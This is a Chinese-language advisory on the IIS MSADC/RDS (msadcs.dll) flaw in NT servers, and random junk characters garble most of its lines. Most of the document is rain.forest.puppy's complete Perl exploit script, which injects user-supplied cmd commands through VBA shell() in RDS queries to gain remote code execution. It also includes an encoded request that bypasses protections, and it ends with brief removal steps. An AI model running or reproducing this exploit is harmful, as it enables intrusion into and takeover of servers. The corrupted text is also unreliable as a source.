IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
Pai8r%Zfu 6(uZ n= 涉及程序：
os &FrtDg Microsoft NT server
+|7N89l _[-W*,xJ) 描述：
x<' $ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
] 61HQ DHv86TvJt 详细：
Yyr9Kj: 如果你没有时间读详细内容的话，就删除:
+8x_f0 < c:\Program Files\Common Files\System\Msadc\msadcs.dll
6 EO@ Xf7, 有关的安全问题就没有了。
xI~A Z:m +."cbqGP_q 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
wf &Jd:)4t s{8=Q0^ 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
)tnbl"0 关于利用ODBC远程漏洞的描述，请参看:
Cl-P6NlR". !c1M{klP http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm <l Wj-+m Bz kfB:wr 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
i3Bpim. http://www.microsoft.com/security/bulletins/MS99-025faq.asp *Uj;a. U zc p 这里不再论述。
'GX x|. VJT /9O)Z| 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
Xt$P!~Lu R!
On /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
\AH5 zdK 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
FfrC/"N CCol>:8{P H{,1-&>| #将下面这段保存为txt文件，然后: "perl -x 文件名"
.{*l, 5u;//Cm #!perl
G
& NK #
l U4 I* # MSADC/RDS 'usage' (aka exploit) script
D7JrGaF{ #
N6 \rjYx+7 # by rain.forest.puppy
L8!yP.3 #
a$Y{ut0t( # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
O-K*->5S # beta test and find errors!
OKK Ko`RN OFyy!r@? use Socket; use Getopt::Std;
C.ji]P# getopts("e:vd:h:XR", \%args);
4% w<Ekd \k`9s
q print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
m"'LT0nur R=D }([pi if (!defined $args{h} && !defined $args{R}) {
$fT5Vc]B4 print qq~
f\_ PNZCc Usage: msadc.pl -h <host> { -d <delay> -X -v }
qlYi:uygY -h <host> = host you want to scan (ip or domain)
<!XunXh -d <seconds> = delay between calls, default 1 second
#$-?[c$> -X = dump Index Server path table, if available
oYTLC@98} -v = verbose
v;9(FLtL -e = external dictionary file for step 5
B5vLV@>] U5H%wA['m Or a -R will resume a command session
TK[[6IB L6Brs"9B ~; exit;}
z GyRz xFN UH}lKc=t $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
~jzLw@"~$^ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
:{iH(ae; if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
@4 8!e-W if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
+$ nNYD
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
\G>C{v; if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
5[jS(1a`c 5X+`aB if (!defined $args{R}){ $ret = &has_msadc;
QOYMT( j die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
N {Z+ B ;E"VS0 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
?O#,{ZZf= . "cmd /c ";
z,x
)Xx $in=<STDIN>; chomp $in;
B= ~y(Mb $command="cmd /c " . $in ;
$w {d4" ) 3~Fag1Hp if (defined $args{R}) {&load; exit;}
.Y]0gi8z r(uo-/7z print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
oxN5:) &try_btcustmr;
N<a %l J XX%K_p`&Z print "\nStep 2: Trying to make our own DSN...";
u*P@Nuy6 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
dhLR#m30T gjN'D!'E1D print "\nStep 3: Trying known DSNs...";
^@RvCJ+ &known_dsn;
g =Xy{Vm
UCf ouQ Cj print "\nStep 4: Trying known .mdbs...";
W}TP(~x'N &known_mdb;
,3 T"fT-( Uoe; =P@ if (defined $args{e}){
P658
XKE print "\nStep 5: Trying dictionary of DSN names...";
{R(CGrI &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
{cOx0= Gt*K:KT=L print "Sorry Charley...maybe next time?\n";
0Atha>w^o~ exit;
h+j^VsP zB z{\tn.67 ##############################################################################
sBa:|(Y. d wG!]j>:_ sub sendraw { # ripped and modded from whisker
YSt*uOZK sleep($delay); # it's a DoS on the server! At least on mine...
S F+L-R<e my ($pstr)=@_;
nCWoco.xy socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
gFHBIN;u die("Socket problems\n");
0m*b9+ q if(connect(S,pack "SnA4x8",2,80,$target)){
p{LbTjdNc select(S); $|=1;
Q\kWQOB_ print $pstr; my @in=<S>;
>zX ^*T# select(STDOUT); close(S);
Q;y5E`G return @in;
.-M5.1mo\( } else { die("Can't connect...\n"); }}
xcWR#z{z ] -{ fr+ ##############################################################################
e(
@< /W >\<eR]12 sub make_header { # make the HTTP request
r[}nr H&8 my $msadc=<<EOT
s)]T"87H'_ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
ZJZSt% r User-Agent: ACTIVEDATA
\}=T4w-e Host: $ip
W@r<4?Oat Content-Length: $clen
dX)a D
$m Connection: Keep-Alive
|rk.t g9 06 %-tAq: ADCClientVersion:01.06
\UZGXk Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
99ZWB :qb U@)p* --!ADM!ROX!YOUR!WORLD!
$RY-yKmi Content-Type: application/x-varg
u_' -vZ_ Content-Length: $reqlen
DoQ^caa@ ;6pB7N EOT
):>?N`{V ; $msadc=~s/\n/\r\n/g;
7afG4
(<k return $msadc;}
Xzg >/w
8J {c_bNYoE ##############################################################################
|"9&F ^SG>VfgC sub make_req { # make the RDS request
0~RD@>] my ($switch, $p1, $p2)=@_;
"% D"h my $req=""; my $t1, $t2, $query, $dsn;
\&kj#)JYA M K W ~rrR if ($switch==1){ # this is the btcustmr.mdb query
2?q>yL! Gz $query="Select * from Customers where City=" . make_shell();
gdTW
~ b
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
]R)wBug $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
8=L"rekV_ {v]L|e%{ elsif ($switch==2){ # this is general make table query
a5t&{ajJ $query="create table AZZ (B int, C varchar(10))";
81y<Uz 6 $dsn="$p1";}
0{
mm% @o F <p` )? elsif ($switch==3){ # this is general exploit table query
v LN KX;9 $query="select * from AZZ where C=" . make_shell();
,NZl lnW $dsn="$p1";}
A NBuX6q duEXp]f! elsif ($switch==4){ # attempt to hork file info from index server
fiWN^sTM $query="select path from scope()";
X [dfms;H $dsn="Provider=MSIDXS;";}
;-~E !_$ o c]
C+l elsif ($switch==5){ # bad query
Ds" %= $query="select";
_ncBq;j{ $dsn="$p1";}
V{oFig 6 VNT? $t1= make_unicode($query);
bLG7{qp $t2= make_unicode($dsn);
])F+ C/Px1 $req = "\x02\x00\x03\x00";
B7'#8heDh $req.= "\x08\x00" . pack ("S1", length($t1));
$}tF66d $req.= "\x00\x00" . $t1 ;
kEC^_sO" $req.= "\x08\x00" . pack ("S1", length($t2));
"*< vE7 $req.= "\x00\x00" . $t2 ;
Lw[=pe0e $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
5\h 6"/6Df return $req;}
lBFKfLp& %8u9:Cl): ##############################################################################
#2U# h-vI E~WbV+,3 sub make_shell { # this makes the shell() statement
H}~K51 return "'|shell(\"$command\")|'";}
*Oy*
\cX2[ 0;><@{' ##############################################################################
fn
'n'X| ]vf0 f,F sub make_unicode { # quick little function to convert to unicode
3>7{Q_5 my ($in)=@_; my $out;
,i}EGW,9q for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
0M;El2
P$ return $out;}
QnS^ G{ ._tEDY/1m ##############################################################################
;30 3fS 9FSa=<0wE sub rdo_success { # checks for RDO return success (this is kludge)
mB>0$l y my (@in) = @_; my $base=content_start(@in);
dp q(=s`s if($in[$base]=~/multipart\/mixed/){
:n13v @q return 1 if( $in[$base+10]=~/^\x09\x00/ );}
Xykoq"dbb return 0;}
;yN Y/ +|dL R*s ##############################################################################
+%9Re5R vS~tr sI sub make_dsn { # this makes a DSN for us
&_ : 9.I 1 my @drives=("c","d","e","f");
f:\)!
&W print "\nMaking DSN: ";
BV@q@C foreach $drive (@drives) {
`` g print "$drive: ";
SW}Rkr\e my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
~fD\=- S1 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
sS{Co8EJn . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
u
`xQC / $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
EgPL+qL return 0 if $2 eq "404"; # not found/doesn't exist
s'N < if($2 eq "200") {
C=oeRc'r1W foreach $line (@results) {
1 SS1P0Ur return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
S+.>{0!S" } return 0;}
.u
ikte nU{Qi;0 ##############################################################################
L9e<hRZ$ O,
eoO,gB sub verify_exists {
IfB .2e` my ($page)=@_;
36co 'a4, my @results=sendraw("GET $page HTTP/1.0\n\n");
iTdamu`L return $results[0];}
HFjSM~ RTd,b i* ##############################################################################
MXl_ {8 {Lv"wec*x sub try_btcustmr {
NGi)Lh | my @drives=("c","d","e","f");
?;UR9f|! my @dirs=("winnt","winnt35","winnt351","win","windows");
V /\Y(Mxc $ s1/Rmw foreach $dir (@dirs) {
'")'h print "$dir -> "; # fun status so you can see progress
]Kjt@F"; foreach $drive (@drives) {
y y/'B:g print "$drive: "; # ditto
0OG
3#pE $reqlen=length( make_req(1,$drive,$dir) ) - 28;
4 0
u
tmC $reqlenlen=length( "$reqlen" );
V[%IU'{: $clen= 206 + $reqlenlen + $reqlen;
o` QH8 r<( U N@T} my @results=sendraw(make_header() . make_req(1,$drive,$dir));
cyd&bxPgj+ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
/0k'w%V{n else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
sd+_NtH !!ZGNZ_ ##############################################################################
Qh8pOUD0l} <f}:YDY' sub odbc_error {
Xsanc@w)^C my (@in)=@_; my $base;
O251. hXK my $base = content_start(@in);
@b 17jmq{ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
D,p 2MBr $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
1jKj' 7/K $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
{G3Ok++hc $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
5ad@}7& return $in[$base+4].$in[$base+5].$in[$base+6];}
_-{=Z=?6} print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
1+3-Z>^ e print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
3TjyKB *! $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
dzbbFvG :8bq0iqsV ##############################################################################
\>"Zn7 Cz 5U sub verbose {
KRd'!bG=1 my ($in)=@_;
gI RZ kT` return if !$verbose;
4@F8-V3q4 print STDOUT "\n$in\n";}
/160p l 4 EGv]K| ##############################################################################
)!V J\ $ SA
@ " sub save {
f$}g'r zl my ($p1, $p2, $p3, $p4)=@_;
KMfIp:~ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
4Hyp]07 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
)D+eWo close OUT;}
,'Y KL", \cX9!lHl ##############################################################################
B/Q>i'e _(=g[=Mer sub load {
t vW0 W my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
*h?}~!AjY open(IN,"<rds.save") || die("Couldn't open rds.save\n");
V1nqEdhk @p=<IN>; close(IN);
"IJ1b~j? $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
79
_8Oh $target= inet_aton($ip) || die("inet_aton problems");
\(^]R,~*!b print "Resuming to $ip ...";
2C"i2/NH' $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
uJ1oo| sn if($p[1]==1) {
ZV5IZ&V! $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
r4 5}o $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
=b )!l9TX my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
71<4q {n if (rdo_success(@results)){print "Success!\n";}
X?r $o>db else { print "failed\n"; verbose(odbc_error(@results));}}
&jnBD r elsif ($p[1]==3){
4 },Y0 QXw if(run_query("$p[3]")){
"f3mi[ print "Success!\n";} else { print "failed\n"; }}
9zBt
a elsif ($p[1]==4){
vgNrHq&2q if(run_query($drvst . "$p[3]")){
]$UTMuO Ql print "Success!\n"; } else { print "failed\n"; }}
$S?xB$ exit;}
Bbb":c6w0 3$_- 0> ##############################################################################
Y!(w. G H- m).^ sub create_table {
4w 7vgB my ($in)=@_;
//$^~} wt $reqlen=length( make_req(2,$in,"") ) - 28;
`09[25? $reqlenlen=length( "$reqlen" );
]P^ 3uX i $clen= 206 + $reqlenlen + $reqlen;
5Ktll~+:# my @results=sendraw(make_header() . make_req(2,$in,""));
yRhD< * return 1 if rdo_success(@results);
B.b sU my $temp= odbc_error(@results); verbose($temp);
#H8QX5b) return 1 if $temp=~/Table 'AZZ' already exists/;
S!R (ae^} return 0;}
0(uba3z Z#;\Rb.x7 ##############################################################################
C}o^p"M*B3 b!EqYT sub known_dsn {
0*uJS`se6Z # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
^zG!Z: E my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
IMy!8 $\u "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
"zIQ(|TL?d "banner", "banners", "ads", "ADCDemo", "ADCTest");
4!M0)Nix puF*WxU) foreach $dSn (@dsns) {
#Oa `P print ".";
h9. Yux next if (!is_access("DSN=$dSn"));
z`dnS]q9 if(create_table("DSN=$dSn")){
r6:nYyF$)v print "$dSn successful\n";
$z@nT.x5 if(run_query("DSN=$dSn")){
m Le
70U print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
jlD3SF~2 print "Something's borked. Use verbose next time\n";}}} print "\n";}
r)G)i;;~* gi? wf ##############################################################################
|Y+[_D} [Fd [( sub is_access {
*unJd"<*&@ my ($in)=@_;
_z"\3hZ $reqlen=length( make_req(5,$in,"") ) - 28;
Z= pvo TY $reqlenlen=length( "$reqlen" );
PB{5C*Y7^k $clen= 206 + $reqlenlen + $reqlen;
Dx P65wU my @results=sendraw(make_header() . make_req(5,$in,""));
> 3 l3 my $temp= odbc_error(@results);
K}LF ${bS verbose($temp); return 1 if ($temp=~/Microsoft Access/);
. Eb=KG return 0;}
cgQ2Wo7tCq _oU~ S$ hO ##############################################################################
'EU|w,GL} 8PRB_ny sub run_query {
5XNFu C9E my ($in)=@_;
DCCij N $reqlen=length( make_req(3,$in,"") ) - 28;
+ldgT" $reqlenlen=length( "$reqlen" );
D rouEm $clen= 206 + $reqlenlen + $reqlen;
lI[O!Vu Kc my @results=sendraw(make_header() . make_req(3,$in,""));
,z$ U=u o return 1 if rdo_success(@results);
z&|sks7 my $temp= odbc_error(@results); verbose($temp);
H)+w kR!~ return 0;}
[lj^lN8 \# 'm([<e ##############################################################################
hl+
T 1~ *JenV- sub known_mdb {
%bTXu1 my @drives=("c","d","e","f","g");
*&F~<HC2+ my @dirs=("winnt","winnt35","winnt351","win","windows");
73E[O5?b my $dir, $drive, $mdb;
t(- 5l my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
pH?"@ m8v=pab e # this is sparse, because I don't know of many
:\#/T,K" my @sysmdbs=( "\\catroot\\icatalog.mdb",
]= 5D98B "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
ZV:0:k.x "\\system32\\certmdb.mdb",
g\?7M1~ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
kQtnT7 h{VGh kU9f my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
1uc;:N G= "\\cfusion\\cfapps\\forums\\forums_.mdb",
@ |7e ~U "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
S#Pni}JD "\\cfusion\\cfapps\\security\\realm_.mdb",
Q "`J-#L "\\cfusion\\cfapps\\security\\data\\realm.mdb",
F[oTc ^dr "\\cfusion\\database\\cfexamples.mdb",
0 ^ $6U "\\cfusion\\database\\cfsnippets.mdb",
F:2V; "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
}?%5Ae7l, "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
r1xhplHH@ "\\cfusion\\brighttiger\\database\\cleam.mdb",
-;[,`g(f "\\cfusion\\database\\smpolicy.mdb",
-<n]Sv;V "\\cfusion\\database\cypress.mdb",
'.tg\]| "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
H?'t>JX "\\website\\cgi-win\\dbsample.mdb",
*5 S~@ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
nx`I9j\ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
7Dx <Sr! ); #these are just
C5'#0 }6i foreach $drive (@drives) {
;jT@eBJ foreach $dir (@dirs){
C C `Y r foreach $mdb (@sysmdbs) {
k*= #XbX print ".";
@RI\CqFHR if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
5!d'RBO print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
oOy_2fwZPp if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
j}@n`[V1 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
ns !Mqcm } else { print "Something's borked. Use verbose next time\n"; }}}}}
4VfZw\^ 25jgM!QBXF foreach $drive (@drives) {
X\LiV{c foreach $mdb (@mdbs) {
| D,->k print ".";
i}e OWi if(create_table($drv . $drive . $dir . $mdb)){
x-=qlg&EI print "\n" . $drive . $dir . $mdb . " successful\n";
!qVnziE,, if(run_query($drv . $drive . $dir . $mdb)){
8 gzf$Oc print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
p EbyQ[ } else { print "Something's borked. Use verbose next time\n"; }}}}
S9S%7pE }
c{K[bppJ* $<s
3;>t ##############################################################################
%C(^v)" si3@R?WR6* sub hork_idx {
=G%L:m* print "\nAttempting to dump Index Server tables...\n";
XVkCYh4, print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
Kh2!c+Mw $reqlen=length( make_req(4,"","") ) - 28;
);5H<[ $reqlenlen=length( "$reqlen" );
'#@tovr $clen= 206 + $reqlenlen + $reqlen;
qFY M2 my @results=sendraw2(make_header() . make_req(4,"",""));
ju?D=n@i if (rdo_success(@results)){
G^/8lIj my $max=@results; my $c; my %d;
5j$ a3nH for($c=19; $c<$max; $c++){
)*n2 ,n $results[$c]=~s/\x00//g;
~5 b^Gvb? $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
Eh&HN-& $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
H)l7:a $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
I Z{DR $d{"$1$2"}="";}
l^E)XWd foreach $c (keys %d){ print "$c\n"; }
c0 u1L@tj } else {print "Index server doesn't seem to be installed.\n"; }}
)wueR5P E(G&mf hb ##############################################################################
$fl+l5?9 a EmL f sub dsn_dict {
,f W%Qv open(IN, "<$args{e}") || die("Can't open external dictionary\n");
C {8(ew while(<IN>){
z1 P=P%F $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
2io~pk> next if (!is_access("DSN=$dSn"));
MF/@Efjn
] if(create_table("DSN=$dSn")){
tE HgQto print "$dSn successful\n";
-7:_Dy if(run_query("DSN=$dSn")){
c. eA]m q print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
eJwHe G print "Something's borked. Use verbose next time\n";}}}
*3]_Huw< print "\n"; close(IN);}
l's*HExR tKKQli4Mn4 ##############################################################################
,c9K]>8m` =S:Snk% sub sendraw2 { # ripped and modded from whisker
R;EdYbiF b sleep($delay); # it's a DoS on the server! At least on mine...
TdWatvY5p my ($pstr)=@_;
Y ]6kA5 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
`PApmS~}
. die("Socket problems\n");
yRv4,{B}X> if(connect(S,pack "SnA4x8",2,80,$target)){
G2BB]] m3 print "Connected. Getting data";
Kk9W =vd open(OUT,">raw.out"); my @in;
p?XVO# select(S); $|=1; print $pstr;
(N
:vDq' while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
c}r"O8M close(OUT); select(STDOUT); close(S); return @in;
#9ZHt5T=$ } else { die("Can't connect...\n"); }}
x|lX1Mh$ sw$$I~21 ##############################################################################
Ty;P`Uv]r Ne9S90HsB6 sub content_start { # this will take in the server headers
G Ps// my (@in)=@_; my $c;
;2jH;$HZ for ($c=1;$c<500;$c++) {
/Mmts=^Ja if($in[$c] =~/^\x0d\x0a/){
Y~[k_! if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
5Gw B1}q else { return $c+1; }}}
pa8R;A70Dl return -1;} # it should never get here actually
hX9vtV5L nBJ'ak ##############################################################################
Uo n^z?0A ? 0J&U4 sub funky {
c$#7Kp4 my (@in)=@_; my $error=odbc_error(@in);
-#<AbT if($error=~/ADO could not find the specified provider/){
ee\QK,Q V print "\nServer returned an ADO miscofiguration message\nAborting.\n";
#$0*Gd-N exit;}
!}PZCbDhL if($error=~/A Handler is required/){
B Ms?+ print "\nServer has custom handler filters (they most likely are patched)\n";
j9^V)\6) exit;}
N83c+vs%c if($error=~/specified Handler has denied Access/){
hxe X6 print "\nServer has custom handler filters (they most likely are patched)\n";
e
.1!
K exit;}}
*BF G{P PED V9u[A ##############################################################################
>PmnR>x-rj S";c7s sub has_msadc {
&f($= 68 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
9mRP%c#( my $base=content_start(@results);
KI Xp+Z return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
]wm<$+@ return 0;}
;nbV-<e & \ $~ ########################
)wyC8` &- -"uOh,G} *r(Qy0( 解决方案：
{U"=}j( 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
d`9ofw~3= 2、移除web 目录: /msadc
